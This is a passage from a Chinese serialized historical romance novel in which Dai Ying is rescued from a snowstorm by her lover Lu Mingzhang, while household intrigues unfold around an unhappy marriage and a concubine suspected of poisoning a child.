归雁只好撤下车帘,退回到车内,搓了搓手:“不愿进来呢。”
戴缨没再说什么,归雁挨过去,环上她:“家主一定会派人来找,娘子且再忍忍。”
戴缨点了点。
一时间安静下来,只有风雪声,不知过了多长时间,鼓鼓的风雪声中掺入了一点异响。
像有什么落在雪上,再去听,是积雪被踩实的声音。
两个小厮的声音在车外响起:“人来啦,人来啦——这里——”
接着,动静越来越大,踏雪声越来越聚拢。
一个声音从纷杂的碎雪声中冲出,奔到马车前,掀开车帘。
戴缨冷哆嗦,缩着身,眯眼去看,那人背着光,只能看得一个身形,观不清眉眼。
熟悉的身形让她欣喜,她没想到陆铭章会亲自来找。
“大人——”
这一声,叫车前的身影一怔,因为陆铭川知道,“大人”两个字专属于他大哥,戴缨不这样称呼他,她叫他三爷。
他该提醒她,自己是谁,可他没有,这一瞬间的迟疑,她已扑到自己怀里。
戴缨两眼发热,因为身体冷,泪儿便在眶中发烫。
可当她一抬眼,看见远处行来的一人一马,滚烫的热泪便成了凝成了风中的雪粒子。
马上之人正好也望向她,低低的一眼,叫她浑身一激灵,陆铭章在马上,那她抱着的人……
在这一份混乱中,她快速调整好,不顾一切地奔下马车,在围拢的烈烈火把中,深一脚浅一脚往那一人一马悠荡蹒跚,好像随时会被风雪拂落的飞蛾。
戴缨瞅准时机,在离陆铭章不近不远之地,非常应景地跌了一跤,这一跤跌得很有水准,脸没着地,仍是好看的,双手撑在雪地里,眼中噙着泪儿。
“大人——”
这一声,是深情,是柔弱,是满满的求生欲……
陆铭章眼底的沉幽因着那一跤,骤然散了,翻身下马,解下自己的大衣,将人扶起,再围得严严实实。
此时马车已推拉出来,陆铭川立在不远处看着眼前的一幕,这一幕便是他和她因缘的缩影,她明明扑向的是他,最后却归宿在了兄长的怀里。
“积雪太深了,只怕马车行不得前路。”陆铭章说道。
皮**间的余温让戴缨身体暖和了些,丰软的大衣下,露出两只清亮的眼,眼里没别人,只陆铭章一人。
正是这样的眼神,让陆铭章将她更加环紧。
他将她抱上马背,长安勒马上前,把自己的披肩献出,这个天气,他耐得住,阿郎却不行。
就这么,马车搁置于野外,一行人顶着风雪,纵马离开。
回了陆府,下人们赶紧备上热水,戴缨在侧屋浸沐,陆铭章在主屋浸沐。
戴缨的身体打小就好,得益于杨三娘对女儿精细地照顾。
当她沐洗毕,更换了干净的衣物后,从沐间出来,身体很快回暖了。不过孔嬷嬷细心,早在外间的半榻铺上厚软的衾被,里面还塞了几个暖炉。
归雁端了一碗热腾腾的牛乳羹来:“爷叫
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厨房专给娘子备的。”
戴缨窝在被中,双手接过:“这里不用你,你下去好好歇息。”
归雁应下,正待出去时,又被叫住,“对了,那两个小厮,明日你寻一寻,多给些赏钱,幸有他们护着。”
“是。”
归雁应声去了。
戴缨饮过热羹,再起身下榻,孔嬷嬷拿了厚软的披肩给她围严实,一前一后出了屋……
雪仍在下着,一大朵一大朵地飘落,并没有变小,奇怪的是在这四围高大的宅院里,没了风力,不同于郊野的凶悍,变得温柔静谧,把时间都拉长了。
七月守在主屋门首下,见了戴缨,将她迎进去,刚一进屋,迎面扑来一轰热气。
“爷还在沐间,姨娘想不想吃些什么,婢子让厨房端了来。”七月给戴缨解下大衣。
戴缨想了想,说道:“问过大人了?”
“是。”七月应下去了,“爷让婢子问姨娘。”
“夜深了,免了罢。”
七月应诺退到门外。
螺钿帷屏内传出一点点似有如无的水声,像是人浸在热水里,没有动。
戴缨趿鞋下榻,走到帷屏外,试问道:“大人可要妾身进来伺候?”
里面没有回声,只是一点点微荡的水音。
“叫丫鬟进来伺候。”陆铭章的声音和着水汽传来。
戴缨折身走到门边,叫了三两个丫头进来伺候,自己则回到榻上,窝进被中。
陆铭章在外间烘干了发才进里间。
丫鬟们收拾了沐房,将床头的蜡烛换过,带上房门退了出去。
戴缨心里是开心的,是真的开心,她想过陆铭章遣人找她,却没想到他会亲身前来。
那样冷的天,他怎么想的呢。
“大人。”戴缨轻唤了一声。
陆铭章“嗯”了一声,不知是有些困了,还是什么原因,腔子清软倦慵。
“大人怎么亲自去找我?”
同陆铭章不同,戴缨的声调兴兴然,带着不可抑的欢劲,一面说,一面拉起他的手。
也是这一时,她才发现,陆铭章的手仍是冷的……
第109章 唇齿间的冰凉
她心底一慌,探手到他额上,还好,温凉的,没有发热,她将他微凉的手,放到自己温热的肚腹上:“我给大人暖暖。”
陆铭章浅浅一笑,抽出手,从被中拿出一个暖炉,示意戴缨看:“你那肚儿还是好好护着罢。”
“大人怎么亲自来找我?”戴缨又问。
陆铭章就知道,这丫头有个毛病,问出的问题,对方必须给出答复,晃不开的。
“我担心你……”陆铭章说道。
戴缨抿着嘴笑,然而没等她嘴角的弧度拉大,陆铭章问道:“雪夜中,我似是见你抱着一人?”
这话叫戴缨心里一紧,溜进被里,瓮声瓮气道:“晚了,大人快歇下。”
陆铭章侧身,吹熄床前的灯烛,刚一躺下,戴缨便偎了过来,轻声道:“妾身分明抱的是大人,大人看花了眼,是不是?”
陆铭章将下巴搁在她的头上,轻叹一声:“是,雪太亮,你我二人都晃花了眼……”
戴缨“唔”了一声,两人便不再说话,闭上眼,缓缓睡去。
半夜时分,陆铭章身体的温度回转过来,热醒了她,她便退了出去,将腿伸到被外,凉了一会儿,嘟囔了一声“热”。
陆铭章缓缓欠起身,就见身边人衣衫滑落肩头,那小衣的带子也松了,悬悬地挂着,衣缘下是酥软的波澜,宽阔的裤管卷到腿弯,露出一段玲珑小腿。
他将她滑落的衣衫拉好,然后下了榻。
迷蒙间,戴缨感知到身侧的动静,没去在意,只是有些不满,她将手放到他起身的位置,感受那里的余温,身边空出来后,本来睡沉的神思,开始不安地游走。
听到他的脚步往这里来,游走的神丝落定,再次静歇,可就在沉下去的一瞬,唇间浸上湿润的冰凉,戴缨惺忪睁开眼,往后退了退,仰头看去。
陆铭章指尖捻着一根晶透的冰凌,往她唇瓣探来:“含着……”
戴缨轻启双唇,将冰凌噙在唇齿间,让那冰冰的凉意,降下体内的燥热。
她身体好,不怕冷,偏怕热,而陆铭章正好相反,平时倒还好,估摸夜里为寻她,狠冻了一场,致使寒气入体,回府后用滚热的水浸身,屋里的地炉子烧得也旺。
半夜热得她弹被子。
陆铭章见此,起身往屋外吩咐降炭火,又随手取了一截冰凌。
就在戴缨将冰凌含到嘴里时,陆铭章的吻落了下来。
他的唇很软,一点一点小吻着,汲着她唇齿间的冰凉,再慢慢融进去,每一次舌尖的辗转都很温柔。
虽然她看不清他,只是模糊的面影,却也不舍得闭眼。
他们从未深吻过,这是头一次,他将她唇齿间将化未化的冰碎卷入自己口中,再缓缓退开,低睨着她,像完成一个郑重的步骤,随后不紧不慢地将其咬碎。
戴缨忘了形,无意识地咽了咽喉,连同嘴里细小的冰晶囫囵咽下。
“还热吗?”陆铭章轻声问道。
戴缨心道,更热了,不过声音里却带着一丝刻意的平静:“好些了。”
“那便睡罢。”
随着陆铭章的这一声,她调整睡姿,重新沉入梦中。
大雪覆盖下的宝宁殿,即使到了深更,殿中的火烛仍亮着,宫人们都知道,太后寝殿的夜烛从来不熄,亮整晚,直到天光大放,它们才喘息出疲惫的冷烟。
大雪簌簌下着,风刮得强劲,殿中漏出的火光摇曳披拂,像是随时会被风雪扑灭。
一身形高挑的宫婢撑伞从远处行来,走到檐下,拍了拍身上的雪沫,跺了跺脚,进了宝宁殿,刚一进入,冲鼻的酒气袭来,且越往里走,酒息越重。
珠帘后,太后一手支头,慵懒地侧躺于罗汉榻上,双眼微阖,案几上是歪歪倒倒的琉璃盏。
“探到消息了?”含混着酒意的呢喃从赵映安的嘴里问出。
宫婢上前两步,躬身道:“探到了,调的步军司的人马。”
一语毕,就见太后“嗯”了一声,眼皮始终低敛,又开口问:“怎的突然调兵?”
宫婢支吾不出,又不敢不答,正在踟蹰间,一抬眼就见太后不知几时撩起了眼皮,正冷冷地盯着自己。
宫婢慌得双膝跪地,惶恐道:“为何调动兵马……婢子无法探知,不过婢子疑心是……”
“疑心什么?”赵映安的声音不带情绪起
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伏。
“陆相回城时并非一人,他身前还坐着一人,用大衣裹着。”
赵映安坐起身,眼睛看向案几上的杯盏,启口问道:“一同回了陆府?”
“是。”
赵映安冷笑一声:“调动全城步军司人马,闹出这样大的动静……”说着往下吩咐,“查清楚,带回的那人是谁。”
宫婢应是,这个想探查清楚并不难。
“行了,下去罢。”
宫人退下,阔大的殿宇再次静下,静得可怕。
……
时值过年期间,京都大小官员不必上值,陆铭章难得闲散在家。
这日,戴缨去了上房,刚进屋室,就听到里面传来笑闹声。
“谁来了?”戴缨问守门的丫头。
小丫头笑道:“是大姐儿回了。”
戴缨点了点头,进了屋里,就见陆老夫人坐于上首,陆婉儿陪坐在左手边。
下首坐着陆家另两房之人,个个面上带笑,戴缨走上前,先朝老夫人道了万福,再走到她的身侧侍候。
“祖母,这次孙儿回来得多伴您几日。”陆婉儿歪在陆老夫人怀里。
戴缨从旁静看着,见陆婉儿双颊透着红润,眸光熠熠,嘴角含笑,少了从前的骄蛮,多了份柔软的韵致。
那面上拂着光,想来她在谢府过得很舒适。
不过也是,她嫁过去,戴万如这个婆母瘫痪在床,做不出什么妖,摆不了婆母的款。
府里暂由水杏当家主事,那水杏是谢山的小妾,不敢在陆婉儿面前拿大。
谢容同陆婉儿新婚,正是蜜里调油的时候,这么一看,怎能不叫人舒心。
陆老夫人拍着陆婉儿的手,看向堂间众人笑道:“你们听听,这般大了还说傻话。”
三房的姚氏半开玩笑半认真地接话道:“既是嫁出去了,哪有回家住几日的道理,就是咱们愿意,只怕姑爷也是不愿的。”
一语毕,众人笑起来。
陆婉儿双腮爬上红晕,低下头羞怯地笑了笑,旁人离得远或许没注意到,戴缨侍在老夫人身侧,离得近,看得清明,在陆婉儿低头的一瞬,羞怯的笑意变得并不羞怯,而是牵强……
第110章 狱中**
那日,陆婉儿盛装丽容,等着谢容来接亲,世间女子若能嫁得如意郎君,便是一辈子最大的幸事。
对陆婉儿来说,谢容就是她的如意郎君。
除开门第,谢容的品貌无一不拔尖,常常一众人中,只要他立在那里,人们的目光就不自觉被吸引。
他笑时有笑的风度,面容平静时,又浸染出尘的静穆。
陆婉儿自小娇养在陆家,因有父亲陆铭章做依傍,连带曹老夫人那样刻薄的人,对她也是三分客气。
是以,她想得到的东西,总能轻而易举到手,当这样东西变成了活人,也是一样。
最终,她如愿以偿了,还未进谢家家门时,她已将自己当成了谢家媳,盼着快些到心上人身边。
这份切盼在等待中越来越浓烈,这也是为何,当她得知谢容下了牢狱,两家婚事几欲作废时,她失了智,发了疯,情愿自毁清白。
也是因为这一句,一向算无遗策的父亲第一次动手打了她。
她不悔,她倾心于谢容,只要能嫁给他,其他的一切都不重要,那个时候,她坚定地这样认为。
直到下了轿,她牵在红绸另一头,在进入谢家门前的一刻,她依旧这么认为,然而……
她执着团扇,半掩于面,在众宾客眼前,走到堂前。
高堂之人,一人端坐,那人是谢家家主,也是谢容之父,他刻意挺直的背部,还有明明高兴却故作严肃的面目让她嗤之以鼻。
另一边的位置空着,那里原该坐着谢容之母,戴万如。
眼睛晃动间,她看到了谢珍,她脸上的表情似笑非笑,不知何意。
而她的身侧,离她最近的那人,她的夫君谢容,却只是一个挺立清冷的人影,她尽够着余光,也看不清他的面目。
就在她打量时,就在众人围看时,就在礼乐停下,行礼前寂寂的一刹那,不知从哪里响起怪异的声响。
也就是这一刹那,众人完全没反应的情况下,一个影以极其怪异的姿势奔了出来。
陆婉儿不敢置信地看着眼前的一幕,在仆妇们的拉扯中,那个怪异的人影,一趔趄朝前倒去。
她穿着单薄的中衣,头发散篷,在地面抽搐,即使抽搐着,她也想爬到高堂之上空着的那个座位。
没有人去搀扶她,直到谢山一声怒喝:“还不将夫人扶去屋里!”
下人们这才慌忙上前,几乎将戴万如架起,拖进了帷屏后。
陆婉儿怔在那里,张着嘴,分不清耳边是贺喜还是嘲笑,眼中的事物带着晃动的残影。
她的婚嫁礼……怎么会变成这样……
她低下头,看着手里的红绸,沿着红绸再看向另一端的谢容,他没有给自己一个眼神,只有冷肃的侧颜。
这一刻,所有人置身事外,除了她。
陆婉儿回过神思,耳边是祖母的慈笑,眼前的一切那么眼熟真实,谢家就是一场醒不来的梦魇。
可她不想让人看笑话,因为这堂间多的是等着看她笑话的人。
她抬起头,听着姚氏的打趣,看向堂下的陆溪儿、陆意儿等人,仿佛回到从前,她正无忧无虑地坐在她们当中。
怔愣间,耳边响起冲茶时的水声清音,抬头看去,一好看的女子正安静给她祖母续茶。
那女子她像认识又不认识。
她简直不能接受,怎么一转眼,她成了客,而戴缨成了陆家的半个主子。
“你们都下去罢。”陆老夫人对堂间众人说道,只留陆婉儿在跟前,似是要说些体己话。
众人应声一一退下。
……
陆婉儿回娘家,谢容自是随在一起。
陆府前院的敞厅,仍是陆铭川接待,其中还有陆家其他两房男子,可这些人里就是没有他的那位岳丈,陆铭章。
谢容面上呈出该有的谦恭,心里想的却是,这世人只怕再无人像他,成亲到现在连岳丈的面都没见过。
说是一家人,那人仍立得好远,叫他遥不可及。
众人说了一会儿话,各自散了,陆铭川又邀谢容到后园赏冬景,园里的梅枝上残有白雪,湖面结了薄薄一层冰。
陆铭川同谢容在前走着,身后仆从跟随。
“海城那边可打点好了?”陆铭川问道。
谢容回道:“劳叔父记挂,海城的房子已安置了,遣了小厮带家当过去,开年后,便走马上任,待安置妥当再接婉儿前去。”
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>陆铭川无所谓地摆了摆手:“有我什么事,不过是随口关心一问,你这通判之职仍是我兄长谋来的,可前去谢过……”
说到这里,陆铭川摇了摇头,“罢了,你办好差,对婉儿好,就是谢过了。”
因着婉儿嫁入谢家,兄长替谢容重新谋了海城通判之职,虽是离京外办,却是为着他日后的官途铺路,纯京官,无实务很难获得晋升。
而这通判一职政务虽说繁剧,却最容易出政绩。
谢容应是。
当初,母亲欲将戴缨许给王家为妾,怒急之下,他威胁道,要罢官退亲,这些话并不作假,出自真心。
然而,当他在府衙被同僚排挤,感受到来自陆铭章的打压时,他怕了,之后,他被罢了差遣,暂歇在家,说是听候旨意,他一个下阶文职,哪有什么旨意。
那之后,他曾自问,还能义无反顾地单为一女子而罢官吗?
他犹豫了……
后来,他被下到牢狱,心里只有一个念想,不管用什么办法,他要从这方阴湿的牢笼出去。
不仅要出去,他还要迎娶陆婉儿,她是他翻身的关键。
于是,他以血修书,让牢头替他递了一封信,这牢头得过他母亲给的好处,替他跑了一趟,将信送到了陆府旁边的一个巷子。
那巷子里住了几户人家,皆是府里的家生奴,其中一户便有喜鹊一家,而这喜鹊正是陆婉儿的贴身丫头。
不出意外,这封**交到了陆婉儿手里。
书信的内容不过是他用前所未有的温柔语气关心陆婉儿,对自己牢狱的悲境半个字不提。
无需多言,那信上殷红的血已说明了一切,这便够了……
没几日,他从牢里出来,接着陆府派人前来定婚嫁之期。
陆铭川同谢容并肩往园中漫行,这时,一小厮从远处急走而来,躬身上前道,声音里透着惶急。
“主子爷,哥儿不知食了什么,吐了一场,闹肚子疼,在榻上打滚哩。”
“怎么回事?!”陆铭川呵斥道。
小厮哪敢隐瞒,直言说来:“房里的丫头说,是莲心喂哥儿吃了什么,之后就嚷肚子疼,嘴里流了好多黄水……”
第111章 他的纵容
因是后宅之事,谢容不便前往,又见陆铭川怕怠慢他,从旁说道:“叔父不必管我,崇哥儿的事情紧要。”
陆铭川点了点头,对谢容身后的陆家下人吩咐:“侍候好。”
下人们齐声应是。
接着陆铭川随小厮往另一边去了,伴着陆铭川问向小厮远去的声音:“请了大夫没有?”
陆铭川走后,谢容继续往前行去。
陆家的园景很大,山石皆有,奇花异草,哪怕严寒天气,园中依旧有不败的绿色,湖面结了冰,可拱桥下的清水却潺潺流动。
阳光稀薄,行到金色的阳光里便是暖融融的,若是立在背阴处,仍不免寒浸。
他行过一排半人高的矮树丛,疏密的树隙间隐隐传来女子的清软声。
不是京都口音,来自平谷,再配上那样的腔子……谢容快走几步,走出拐角,循声看去。
离他不远的地方,笼在鎏金日光的水榭亭台,亭台间坐了一女子,女子穿着不薄**的银红夹袄长裙,夹袄边镶着灰白貂绒毛,下身着一条郁金色百迭罗裙。
这一身裁剪得十分合体,把那青春的身段勾勒得玲珑有致,像是迎着春晨的梅枝。
她站起身,在亭台来回踱几步,双唇一张一阖,眉眼灵动,能隐约听到声音,却听不清在说什么。
接着她轻灵的笑声混着阳光像鸟儿一般飞了过来,入到他耳里。
谢容不由自主地跟着笑了一声,她的笑太有感染力,不为别的,单是听一听心情就好。
她没变过,自小便是这样,走到哪里都叫人喜欢。
他见她俯下细腰,伏在桌沿,不知在做什么,他想看得更清楚,只是廊柱和花木遮挡了视线,于是往前走了几步,调过一个角度再看。
她双肘撑着的桌旁还坐了一人。
那人穿着石青色直缀,交领处微露素白中衣,外头松松罩着一件银鼠皮里子的鹤氅。
谢容不知该怎样形容那人,儒雅和威肃参半的气韵叫人不再关注浮浅的皮囊,同一时,这一身清骨又同那气度完全契合。
这人便是他的岳丈,大衍朝枢密使,陆铭章,而他身边那名笑吟吟的年轻女子,是他的表妹,曾经的未婚妻子。
如今却是陆铭章的爱妾。
不知她说了什么,坐在一旁的陆铭章笑出了声,亲自倒了一杯茶,递予她,她双手接过,捧上手里,喝了两口,转过身靠于桌沿。
一个软腰靠于桌沿,一个端方坐在桌旁。
她背在身后的手,同他的手指悄悄勾在一处,她低低垂下颈儿,侧影像一脉弯弯的柳条。
周边的下人们退到了亭台外,却叫他这个意外闯入之人捕获到这一幕。
哪怕他被下牢狱,谢容对陆铭章这个上位者没有恨,因为当差距过大时,羸弱的一方对强大的一方是根本恨不起来的,唯有怪自己无能。
他心里对这位大人是敬畏的,他曾试想过,若他到了陆铭章这个年纪,可能连他一半的功绩和权位都不及。
当他从母亲口中得知陆铭章纳戴缨为妾时,震诧之余是无力。
在他认知中,必是缨娘客居陆府时,入了陆铭章的眼,而陆铭章那样身份的人,不过是贪图她的青春肉体,这样的“看上”,并非好事,兴许在肉体未衰前,情爱已弛。
他替她担心,以她那样的心性,怎能伺候得了陆铭章,那样一个深城府,重权**且诡谲难测的权臣。
然而,就在刚才,即使他不愿承认,可事实就是,陆铭章对缨娘不只是肉体上的兴趣,他给了她足够的耐心和宝贵的时间。
那份稀贵中还有纵容。
越是冬日的阳光,越是刺目,谢容揉了揉眼角,不再停留,转身离开了。
……
陆铭川奔至行鹿轩,还未进院,就听到曹老夫人的叫骂。
“下作娼妇,你存的什么心,我原当你是个知进退的,才容你在三爷跟
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前伺候,容你在崇哥儿身边伺候,你是打量我老了,心也慈了,便兴风作浪起来?”
“哥儿才多大点人,肚肠娇嫩得跟豆腐似的,不知从哪里弄来那些不干不净的腌臜物儿,别以为我不知你那黑心肠,叫哥儿有个好歹,你就能翻过天去!”
“我告诉你,趁早**这条心……”
曹老夫人一车话赶一车的话,直到陆铭川进来时,她仍愤愤地骂着,莲心缩肩耷脑地跪在地上,不住地哭。
见了陆铭川连连膝行上前,抱住他的腿,哭诉道:“爷,婢子没有害哥儿的心,真没有啊,不知怎么就这样了。”
陆铭川哪有心情理她,将人踢开,问大夫:“我儿如何了?”
大夫恭声道:“回大人的话,小少爷想是先前吃了别的什么,再吃这豆糕,冲撞了。”
“要不要紧?”陆铭川又问。
“看治得急时,催吐过后,缓了过来,再晚些时,只怕神仙难救。”大夫说道。
听了这话,曹老夫人指着莲心气骂:“你这是想釜底抽薪呐——不能留了,不能留了,来人,找个人牙子来,把人拉出去。”
那莲心听后竟是一点不怕,好似有什么给她兜底一样,一不哭二不闹,面上显出冷笑,不仅如此,还对曹氏反言相讥。
“您老又清白到哪儿去?不过是坐享其成,将儿孙的福荫都折在自己手里,我若侍候于三爷房里,您也不至于守着这么个三天两头病歪的独苗。”
莲心咬着牙,恨恨一笑,“天要收他,那是他命里担不起这泼天富贵,早些咽气,倒是他的造化,也省得在人间活受罪!”
曹氏气得喉管哼哧,两步上前,兜着莲心的脸就是几个响亮的耳刮。
“塞上嘴,绑好了,告诉那牙人,不必卖到好人家,她没这个命,就卖去私窠,那才是小娼妇的正经归宿。”
下人们正待拖莲心离去,陆铭川出声道:“慢着……”
第112章 月信可有推迟?
曹氏恨**莲心,正要吩咐人将她卖去暗门子,陆铭川出声止住,那莲心见了,先是磕了三个头,再扯着他的衣角。
“三爷,奴知你心里必是舍不下我的,好歹伺候了您这些年,从前您对奴不这样,您也曾耐心教奴写字,出差归来总不忘给奴带些珠花绒花……那些温存软语,难道都作不得数了么?”
莲心梨花带雨的哭求,指望唤醒往日的温情蜜意,然而,却听陆铭川的声音自上冰冷传来。
“我且问你,这些东西是不是你有意给哥儿吃的?”
曹氏让人将莲心发卖到私窠子,她没怕,然而,陆铭川的这句问话叫她怕了,有意和无意,这个性质大不一样。
“爷——奴哪敢行那等阴恶之事,崇哥儿是主,婢子是奴,只有尽心照顾的,适才不过是失了心,才浑唚。”
莲心扬手给了自己几嘴巴,哭得梨花带雨,“再说今日哥闹肚子因为食物相克,婢子也不是大夫,哪里知道哪些东西能一起吃,哪些东西放一起吃会要命。”
说到伤心处,咬着唇呜咽的越发狠了,满面涕泪,只听她又道:“别说婢子,这整个屋,除了请来的大夫,谁能通晓这么些,也就是婢子背运,一心想着照料哥儿,却好心办坏事。”
曹氏气得眼里迸出寒光,声音陡然拔高:“好个诡辩的下作奴才,适才还咒我孙儿命短,眼下倒扮起柔弱来了?真当老身眼花耳背不成!”
莲心跪在青砖地上,衣衫上沾了灰,仰起脸,眼底含着泪。
“老夫人容禀,莲心虽没读过书,却也知道一句话,兔子逼急了还咬人,您老人家是大肚弥勒佛转世,何必与奴婢这草芥之人计较?”
陆铭川看向跪于地面的莲心,漫不经心地听着。
“就算是无心为之,你也留不得。”陆铭川对屋中下人吩咐道,“带出去寻个牙行,不拘是贩夫走卒,寻个正经人家发卖了。”
倒没像先前曹老夫人说的那样,卖到私窠,再怎么说,她跟了他一场,卖到暗门子于心不忍。
然而,令所有人始料未及的是,一直低着头的莲心“噗嗤”一声笑了出来。
她抬手,慢条斯理地擦去脸上的泪痕,嘴角勾起一抹近乎荒谬的弧度,只见她一手轻轻抚上自己的小腹,声音不大,却字字清晰。
“爷要发卖奴家,自是随您高兴,可您莫非……连亲生骨肉,也一并卖了不成?”
一语毕,如同惊雷炸响堂前,在场众人瞠目不语。
曹氏脸上的嫌恶瞬间褪去,被极度的惊诧取代,随即那惊诧又扭曲成不知是惊还是喜,不可谓之不丰富。
陆铭川紧锁眉头,未发一语,只朝大夫递去一个眼神。
大夫心领神会,即刻上前为莲心切脉,片刻后,松开手,缓缓摇头:“回禀爷,脉息尚弱,游丝未定,时日太早……老夫,实在难以确诊。”
但既然作为大夫,这类情况他见得也多,于是转头问莲心:“敢问姑娘月信可有推迟?又或是有无别的症状?”
莲心点了点头:“月信已迟了许多时日。”说罢故作不适地抚上胸口,“常有呕吐,嗜睡之症。”
莲心跟了陆铭川多年,一直不曾有孕,一来是陆铭川让她伺候的少,二来,每每在他情急之时,总不舍予她。
然而,这次他外办回京的当夜,不知怎的,召她入房伺候,狠要了几回,她从未见他那样投入过,不过她清楚为什么。
自己心爱的女子一转眼变成了“小嫂嫂”,他伏在她的上方,透过她看另一人。
如今她肚子月份尚浅,但她就是知道,这回绝对有了,她的身体她最清楚。
她能想到,陆铭川又怎会料想不到。
别看曹氏刚才还恨不能把莲心发卖到私窠,现下疑有身孕,态度有了大转变。
“我儿,这小娼妇**不可惜,但她肚里有咱们陆家的血脉,不能叫他流落在外面。”
陆铭川看了一眼莲心,又给屋中的下人睇了眼色:“把人带下去,好好看管起来。”
莲心被人带了下去,陆铭川这才进到里屋,走向榻边,陆崇已睡了去,脸色惨白,嘴唇没有一点血色。
他侧身坐下,拨了拨儿子额前的碎发,又抚了抚他的脸,叹了一息,正在此时,曹氏的声音一阵风似的透来。
“你们,你们,去那小娼妇跟前候着,她要吃什么都报于我知晓,一日三餐万不可马虎,平时也警醒些,伺候好了她,也就伺候好了我孙儿,我那孙儿若有个不好,你们也别想落着好。”
下人们应是。
陆铭川眉头微蹙,起身走向外间,让声音静些。
待他出去后,陆崇的眼睫颤了颤,搁于被下的小手,死死地揪着床单……
……
戴缨刚回一方居就听人说,陆崇吃坏了肚子,情况严重到请大夫上门看治,遂带了丫
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头往行鹿轩赶去,想要看一看。
行鹿轩的丫头将人引进屋。
戴缨立在外间轻声问了一句:“哥儿可是醒了?”
丫鬟回道:“醒了,就是一直不说话,也不知为什么,像是……”
“像是什么?”戴缨追问。
正巧此时,陆溪儿从里间走出来,拉了戴缨坐到一旁,低声道:“不说话,问什么也不吭声。”
“是不是身子还不舒服,不愿开口?又或是坏了嗓子?”戴缨问道。
“那倒不至于,就是吃坏了东西,吐了一场,哪就哑了?”陆溪儿接着又道,“我小叔屋里的莲心怀上了,想是这孩子知道后瞎闹脾气呢,不是什么大不了的,过几日也就好了。”
戴缨听后没说什么,**了几息,说道:“我进去看看。”
“去罢,他不理我,我就坐在外间等你。”
戴缨起身进了里屋,走了几步,就见陆崇两眼闭着,静躺于帐下,面色看着并不好。
“还没醒么?”戴缨轻声问道。
话音落,床上的小儿没有半点反应,只是长长的眼睫颤动了几下。
她将手悄悄探到被里,握住一只小手,惊异道:“哟——这小儿了不得,睡觉还攒着劲哩!”
陆崇扑哧笑出声,不再装睡,笑了后,又不笑了,好像没有力气笑太久。
“姐姐——”
“先别说,姐姐问你一个问题,好不好?”戴缨将陆崇的手握在手里。
小陆崇“嗯”着点了点头。
戴缨看着他的双眼关心道:“姐姐就想知道,你现在有没有哪里不舒服?身上可还难受?”
小陆崇听罢先是摇头,然后又点头。
“怎么又摇头,又点头?”戴缨问过后,陆崇又不说话了。
他不愿说,她便坐在他身边陪着。
“姐姐,你为什么不住到我们这里来,非要住到大伯屋里?”小陆崇问道,接着又说,“我以为姐姐住到大伯屋里和从前是一样的,原来不一样,姐姐是不是也不管我了?”
戴缨怔了怔,没有去反驳,而是顺着他的话问:“那你说说看,哪里不一样?”
“你在行鹿轩,咱们可以天天见到,你可以保护我,但你在一方居……若有人欺负我,你也不知道……”
正说着,戴缨察觉到后侧射来的视线,转头去看,就见陆铭川立在那里默不作声地看着她,见她望过来,转身走开了……
第113章 恃宠而骄
等她回头看向榻上的陆崇时,那孩子已闭上眼,不说话了。
戴缨走出里屋,陆溪儿见她出来,相携着离开了。
晚间,丫鬟端了汤药进屋,走到榻边正待叫陆崇起床用药,然而当她往榻间看去时,“哐当”一声,药碗落地,汤药泼洒而出。
此时已入夜,开始下寒露,行鹿轩却像沸腾的水一样,乱了起来。
“你们,去那边找找。”
“园子里找了没有?”
“找了,没有,那边的人仍在找。”
“爷,整个院子找遍了,不见哥儿的半点身影。”
陆铭川沉着脸,又把当值的下人全部召来,逐个盘问情况。
陆铭章因同僚邀宴,晚间不在家中用饭,戴缨不等他,让厨房早早摆了饭菜,用**后,沐洗一番,便坐于窗榻下同七月闲话。
这时,归雁走了进来,惊着眼,吊着语气:“哎哟,我才从侧屋过来,听到里面有响动,怕不是闹耗子罢……”
七月听后笑道:“不能,前些时才叫人来驱过一回。”话是这么说,却也不放心,站起身,同戴缨告了一句,“婢子去看看。”
戴缨没在意,点了点头。
然而,不过一会儿,七月和归雁将那“耗子”引了来。
戴缨眨了眨眼,看着眼前只穿中衣的小儿,又是好气又是好笑,这怎么……赶紧把他拉到跟前。
“我的哥儿,你这……怎么跑来的?”
小陆崇窝到戴缨怀里,不愿说话。
“你父亲可知道……”戴缨见他这样,后半截的话咽了回去,赶紧叫下人去行鹿轩知会一声。
“用过饭不曾?”戴缨又问。
这回陆崇倒是给了回应,摇了摇脑袋。
七月从旁见了,不待吩咐,去厨房让人热些清淡的饭食来。
一碗野笋鲜汤面,另配了翠亮的下饭小菜,又清蒸了一小碟的珍珠丸子。
戴缨让人把饭食摆到小几上,看向陆崇,说道:“在我这儿可不能饿肚子。”
陆崇便坐到小几边,自觉地吃了起来。
正巧这时行鹿轩的人来回话。
“三爷让小的将哥儿接回去。”
不及戴缨开口,陆崇把筷一丢,立在半榻上,看着行鹿轩的几个下人,大声道:“我不回去,你们带话给我父亲和祖母,想让我回去,可以,让那奴才滚出去,再来接我。”
行鹿轩的下人们相互看看,为难起来,走也不是留也不是,就这么僵持着。
白日,戴缨听陆溪儿说了一嘴,知道这孩子嘴里的“奴才”说的是莲心,再往他面上瞅了一眼,觉着有些怪异。
陆崇这孩子的脾气不好说,有时挺乖顺的,有时又乖张。
“你们去回三爷的话,就说哥儿今夜在一方居歇了。”戴缨开口道。
那行鹿轩的几个下人听此一说,哪敢再迟疑,当下应声退下了。
待几人走后,戴缨让人把侧屋重新收拾一番,烧上暖壁,再转头对陆崇说道:“快吃,一会儿面该坨了。”
“姐姐,我今儿真在这里歇息?”
“怎么?不愿意,若是不愿意,他们还未走远……”
陆崇赶紧拈起筷箸,说道:“愿意的,愿意的,崇儿以后就住在一方居。”
戴缨笑着摇了摇头,待他用**,又叫丫鬟们侍候他梳洗,然后牵着他去了侧屋。
陆铭章执掌军政,三衙中马军都指挥使的李贺于家中设宴,专邀这位上司,并请了殿帅朱维,还有步帅徐盛,等其他武将作陪。
初时,他们对这位年轻的枢密使并不服气,一来这人太过年轻,二来,他们三人皆是正正经经的武将出身,不得不遵守大衍典制,被文职统管压制。
那些个文职,嘴头子厉害,文绉绉的话一套接一套,哪里懂得行军之事。
然而,自打他们打赢罗扶国,那些不满再没有了,身上的血再次热腾起,只想再战。
屋室里亮如白昼,一张大桌面,桌上垒叠着丰盛的佳肴,桌边侍立着递酒的侍女。
桌上众人围坐,陆铭章端坐上首,其他武将依次序告了座。
身为东道的李贺先起身,走到陆铭章身侧,举杯敬酒:“大人贵步下临,肯赏脸前来,卑职先敬一杯。”
说着,仰脖干了一盏,侍女向前续酒,李贺举过第二盏:“大人随意,卑职再敬一杯。”
